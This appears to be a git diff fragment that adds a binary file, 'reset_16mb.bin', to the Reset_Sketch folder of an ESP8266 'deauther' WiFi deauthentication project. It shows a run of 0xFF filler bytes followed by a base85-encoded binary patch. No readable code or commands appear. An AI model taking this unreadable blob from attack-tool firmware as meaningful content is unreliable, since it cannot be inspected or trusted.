ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ \ No newline at end of file diff --git a/enp8266/esp8266_deauther-master/Reset_Sketch/reset_16mb.bin b/enp8266/esp8266_deauther-master/Reset_Sketch/reset_16mb.bin new file mode 100755 index 0000000000000000000000000000000000000000..3c6064d3c5df80e055bcf2d3a7ea9fbaaf733ef0 GIT binary patch literal 238144 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 